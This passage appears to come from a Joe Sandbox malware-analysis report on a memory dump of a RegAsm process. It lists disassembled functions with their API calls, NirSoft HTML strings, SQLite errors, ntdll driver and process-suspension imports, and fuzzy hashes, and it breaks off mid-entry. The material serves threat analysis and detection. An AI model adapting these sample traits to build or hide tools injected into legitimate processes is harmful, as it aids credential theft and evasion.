                      Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                      Download Yara Rule
                      APIs
                      • GetClientRect.USER32(?,?), ref: 004111E0
                      • GetWindowRect.USER32(?,?), ref: 004111F6
                      • GetWindowRect.USER32(?,?), ref: 0041120C
                      • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                      • GetWindowRect.USER32(00000000), ref: 0041124D
                      • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                      • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                      • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                      • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                      • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                      • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                      • EndDeferWindowPos.USER32(?), ref: 0041130B
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Window$Defer$Rect$BeginClientItemPoints
                      • String ID:
                      • API String ID: 552707033-0
                      • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                      • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                      • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                      • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                      Function 00414621 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf
                      • String ID: %%0.%df
                      • API String ID: 3473751417-763548558
                      • Opcode ID: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                      • Instruction ID: e3e507119e413e1699737691dcc770ce903c50d69a4f0c7cc4f670013a5326e5
                      • Opcode Fuzzy Hash: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                      • Instruction Fuzzy Hash: 2D318F71800129BBEB20DF95CC85FEB77BCFF49304F0104EAB509A2155E7349A94CBA9
                      Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                      Download Yara Rule
                      APIs
                      • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                      • KillTimer.USER32(?,00000041), ref: 004060D7
                      • KillTimer.USER32(?,00000041), ref: 004060E8
                      • GetTickCount.KERNEL32 ref: 0040610B
                      • GetParent.USER32(?), ref: 00406136
                      • SendMessageW.USER32(00000000), ref: 0040613D
                      • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                      • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                      • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                      • String ID: A
                      • API String ID: 2892645895-3554254475
                      • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                      • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                      • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                      • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                      Function 0040D957 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97windowCOMMON
                      Download Yara Rule
                      APIs
                      • LoadMenuW.USER32(?,?), ref: 0040D97F
                        • Part of subcall function 0040D7A7: GetMenuItemCount.USER32(?), ref: 0040D7BD
                        • Part of subcall function 0040D7A7: memset.MSVCRT ref: 0040D7DC
                        • Part of subcall function 0040D7A7: GetMenuItemInfoW.USER32 ref: 0040D818
                        • Part of subcall function 0040D7A7: wcschr.MSVCRT ref: 0040D830
                      • DestroyMenu.USER32(00000000), ref: 0040D99D
                      • CreateDialogParamW.USER32(?,?,00000000,0040D952,00000000), ref: 0040D9F2
                      • GetDesktopWindow.USER32 ref: 0040D9FD
                      • CreateDialogParamW.USER32(?,?,00000000), ref: 0040DA0A
                      • memset.MSVCRT ref: 0040DA23
                      • GetWindowTextW.USER32(00000005,?,00001000), ref: 0040DA3A
                      • EnumChildWindows.USER32(00000005,Function_0000D898,00000000), ref: 0040DA67
                      • DestroyWindow.USER32(00000005), ref: 0040DA70
                        • Part of subcall function 0040D5D6: _snwprintf.MSVCRT ref: 0040D5FB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
                      • String ID: caption
                      • API String ID: 973020956-4135340389
                      • Opcode ID: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                      • Instruction ID: d77e6bedd7727d4aace6f5c0bd160524984489d6dc7b24eaa8e7ecc9459ec1fc
                      • Opcode Fuzzy Hash: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                      • Instruction Fuzzy Hash: 60319072900208BFEF11AF91DC85EAA3B78FF04315F10843AF909A61A1D7799D58CF59
                      Function 00410A60 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • <meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00410ADD
                      • <br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00410B3C
                      • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00410A70
                      • <table dir="rtl"><tr><td>, xrefs: 00410B00
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf$wcscpy
                      • String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
                      • API String ID: 1283228442-2366825230
                      • Opcode ID: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                      • Instruction ID: da896b014e5ee892582fb8e7d48e4383de9842bc572d8210300f5843ce7472f7
                      • Opcode Fuzzy Hash: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                      • Instruction Fuzzy Hash: 5C2182B69002197BDB21AB95CC41EDE77BCAF08785F0040ABF549D3151DA789F888BA9
                      Function 00413959 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON
                      Download Yara Rule
                      APIs
                      • wcschr.MSVCRT ref: 00413972
                      • wcscpy.MSVCRT ref: 00413982
                        • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409806
                        • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409810
                        • Part of subcall function 004097F7: _memicmp.MSVCRT ref: 0040982B
                      • wcscpy.MSVCRT ref: 004139D1
                      • wcscat.MSVCRT ref: 004139DC
                      • memset.MSVCRT ref: 004139B8
                        • Part of subcall function 00409DD5: GetWindowsDirectoryW.KERNEL32(0045DC58,00000104,?,00413A11,?,?,00000000,00000208,?), ref: 00409DEB
                        • Part of subcall function 00409DD5: wcscpy.MSVCRT ref: 00409DFB
                      • memset.MSVCRT ref: 00413A00
                      • memcpy.MSVCRT ref: 00413A1B
                      • wcscat.MSVCRT ref: 00413A27
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
                      • String ID: \systemroot
                      • API String ID: 4173585201-1821301763
                      • Opcode ID: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                      • Instruction ID: a9582ad2fab6187976d7b5f1d827ce349b207672d34ede1993470c6c3fb504e1
                      • Opcode Fuzzy Hash: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                      • Instruction Fuzzy Hash: 7D21F6F68053146AE720FB619C86EEF73EC9F06719F20415FF115A20C6EA7C9A844B5E
                      Function 0041352F Relevance: 17.5, APIs: 1, Strings: 9, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule
                      • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                      • API String ID: 4139908857-2887671607
                      • Opcode ID: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                      • Instruction ID: 8dd6b0f06cc06780b82abcfa5335c49c30c65db347d43124f897848efd9f6b7c
                      • Opcode Fuzzy Hash: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                      • Instruction Fuzzy Hash: 8C015E75D48324AACB339F75AD09A053FB1EF04797B1004B7A80492266DAF9815CDE4C
                      Function 0040C084 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 110stringCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                      • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                        • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                        • Part of subcall function 0040BFF3: memcpy.MSVCRT ref: 0040C024
                      • memcpy.MSVCRT ref: 0040C11B
                      • strchr.MSVCRT ref: 0040C140
                      • strchr.MSVCRT ref: 0040C151
                      • _strlwr.MSVCRT ref: 0040C15F
                      • memset.MSVCRT ref: 0040C17A
                      • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Filememcpystrchr$CloseHandlePointerSize_memicmp_strlwrmemset
                      • String ID: 4$h
                      • API String ID: 4019544885-1856150674
                      • Opcode ID: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                      • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                      • Opcode Fuzzy Hash: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                      • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                      Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                      • String ID: 0$6
                      • API String ID: 4066108131-3849865405
                      • Opcode ID: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                      • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                      • Opcode Fuzzy Hash: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                      • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                      Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004082EF
                        • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                      • memset.MSVCRT ref: 00408362
                      • memset.MSVCRT ref: 00408377
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$ByteCharMultiWide
                      • String ID:
                      • API String ID: 290601579-0
                      • Opcode ID: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                      • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                      • Opcode Fuzzy Hash: 2c5b7af1b6ad7fa84976a25c4c1a6b62738b238711a472a87ec5ace72f6ab842
                      • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
                      Function 004028E7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 190COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$wcslen
                      • String ID:
                      • API String ID: 239872665-3916222277
                      • Opcode ID: 6ece4f15149c4f8b0f1e95fdfa43d3662bfdaf9dea83468c5f0cbecd63c28e51
                      • Instruction ID: 6c84a66137f0c35b9d0eb965e4703c645d554f15bb1c6f80accdbf0b715e4580
                      • Opcode Fuzzy Hash: 6ece4f15149c4f8b0f1e95fdfa43d3662bfdaf9dea83468c5f0cbecd63c28e51
                      • Instruction Fuzzy Hash: 78614A70E0421ADADF28AF95E6485EEB771FF04315F60807BE411B62D1EBB84981CB5D
                      Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpywcslen$_snwprintfmemset
                      • String ID: %s (%s)$YV@
                      • API String ID: 3979103747-598926743
                      • Opcode ID: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                      • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                      • Opcode Fuzzy Hash: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                      • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                      Function 0040A661 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,?,?,?,00409764,?), ref: 0040A686
                      • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6A4
                      • wcslen.MSVCRT ref: 0040A6B1
                      • wcscpy.MSVCRT ref: 0040A6C1
                      • LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6CB
                      • wcscpy.MSVCRT ref: 0040A6DB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                      • String ID: Unknown Error$netmsg.dll
                      • API String ID: 2767993716-572158859
                      • Opcode ID: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                      • Instruction ID: f30f617898fcbe25dfcd40b25f3134c3ee1324ef56ff669fd92f7ad18b117fee
                      • Opcode Fuzzy Hash: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                      • Instruction Fuzzy Hash: 77014772104214BFE7151B61EC46E9F7B3DEF06795F24043AF902B10D0DA7A5E10D69D
                      Function 0042F5F4 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 250COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • out of memory, xrefs: 0042F865
                      • too many attached databases - max %d, xrefs: 0042F64D
                      • attached databases must use the same text encoding as main database, xrefs: 0042F76F
                      • database is already attached, xrefs: 0042F721
                      • unable to open database: %s, xrefs: 0042F84E
                      • database %s is already in use, xrefs: 0042F6C5
                      • cannot ATTACH database within transaction, xrefs: 0042F663
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpymemset
                      • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                      • API String ID: 1297977491-2001300268
                      • Opcode ID: fafdf879e702536ae0a8da4e3c7de2ba30e48f0de6d41113ccb8534cd7e7e00e
                      • Instruction ID: 2d624c67d108d3170f37657fe85980b6deaf3b4166a4b31ce602698a835437d0
                      • Opcode Fuzzy Hash: fafdf879e702536ae0a8da4e3c7de2ba30e48f0de6d41113ccb8534cd7e7e00e
                      • Instruction Fuzzy Hash: 4791C131B00315AFDB10DF65E481B9ABBB0AF44318F94807FE8059B252D778E949CB59
                      Function 00417887 Relevance: 13.6, APIs: 9, Instructions: 126filesleepCOMMON
                      Download Yara Rule
                      APIs
                      • LockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004178DF
                      • Sleep.KERNEL32(00000001), ref: 004178E9
                      • GetLastError.KERNEL32 ref: 004178FB
                      • UnlockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004179D3
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$ErrorLastLockSleepUnlock
                      • String ID:
                      • API String ID: 3015003838-0
                      • Opcode ID: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                      • Instruction ID: bb7e89fefddb53edf96b8819cb9ac805ac4f8ca395f1f2490f4f27a155f14dd5
                      • Opcode Fuzzy Hash: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                      • Instruction Fuzzy Hash: C741FFB515C3029FE3209F219C05BA7B7F1BFC4714F20092EF5A556280CBB9D8898A6E
                      Function 00413A3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141COMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00000410,00000000,00000000,?,?,00000000,?,004133E1,00000000,?), ref: 00413A7A
                      • memset.MSVCRT ref: 00413ADC
                      • memset.MSVCRT ref: 00413AEC
                        • Part of subcall function 00413959: wcscpy.MSVCRT ref: 00413982
                      • memset.MSVCRT ref: 00413BD7
                      • wcscpy.MSVCRT ref: 00413BF8
                      • CloseHandle.KERNEL32(?), ref: 00413C4E
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$CloseHandleOpenProcess
                      • String ID: 3A
                      • API String ID: 3300951397-293699754
                      • Opcode ID: 8542788a6fbd662e622ac6317d91a932690acc9b8880ba19fbfc79209a0c02cc
                      • Instruction ID: 1dd795ac5698d536b98d54c3d0ab6bca04534a71b571f2ddc62e59a9adc8dd8d
                      • Opcode Fuzzy Hash: 8542788a6fbd662e622ac6317d91a932690acc9b8880ba19fbfc79209a0c02cc
                      • Instruction Fuzzy Hash: 3C514D71108341AFD720DF25DC84ADBB7E8FF84705F004A2EF59992291EB75DA44CBAA
                      Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                      • wcscpy.MSVCRT ref: 0040D1B5
                        • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                        • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                      • wcslen.MSVCRT ref: 0040D1D3
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                      • LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                      • memcpy.MSVCRT ref: 0040D24C
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0CC
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0EA
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D108
                        • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D126
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                      • String ID: strings
                      • API String ID: 3166385802-3030018805
                      • Opcode ID: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                      • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                      • Opcode Fuzzy Hash: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                      • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                      Function 0040D898 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040D8BD
                      • GetDlgCtrlID.USER32(?), ref: 0040D8C8
                      • GetWindowTextW.USER32(?,?,00001000), ref: 0040D8DF
                      • memset.MSVCRT ref: 0040D906
                      • GetClassNameW.USER32(?,?,000000FF), ref: 0040D91D
                      • _wcsicmp.MSVCRT ref: 0040D92F
                        • Part of subcall function 0040D76E: memset.MSVCRT ref: 0040D781
                        • Part of subcall function 0040D76E: _itow.MSVCRT ref: 0040D78F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
                      • String ID: sysdatetimepick32
                      • API String ID: 1028950076-4169760276
                      • Opcode ID: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                      • Instruction ID: 7fefccf0184427ff86f81c2eca1e08be5bb75bf3b76f29e65549559b88306b24
                      • Opcode Fuzzy Hash: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                      • Instruction Fuzzy Hash: 061177769002197AEB10EB91DC49EDF7BACEF05750F0040BAF508D2192EB749A85CA59
                      Function 004044A4 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 52librarywindowCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                      • FreeLibrary.KERNEL32(00000000), ref: 004044E9
                      • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$FreeLoadMessage
                      • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                      • API String ID: 3897320386-317687271
                      • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                      • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                      • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                      • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                      Function 004138C1 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 49COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                        • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                        • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                        • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                      • FreeLibrary.KERNEL32(00000000), ref: 00413951
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                      • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                      • API String ID: 4271163124-70141382
                      • Opcode ID: 041abbf71437061a0f134c3fe1786c70626f7864bc8708fd51d9cd322498a069
                      • Instruction ID: 1ed0e205fb1d3ca6b4a3c81c58fecbd4dea9624ac3f9f6029147382c5f000437
                      • Opcode Fuzzy Hash: 041abbf71437061a0f134c3fe1786c70626f7864bc8708fd51d9cd322498a069
                      • Instruction Fuzzy Hash: 7301B5B1905312DAD7705F31AE40B6B2FA45B81FA7B10003BEA00D1286DBFCC8C5DA6E
                      Function 0041383D Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 44COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(kernel32.dll,?,0041339D), ref: 0041384C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule
                      • String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
                      • API String ID: 4139908857-3953557276
                      • Opcode ID: 31f1d1be7c9a4426e09052d790ecb19dd0b8106983b19d46a1984a4086cae070
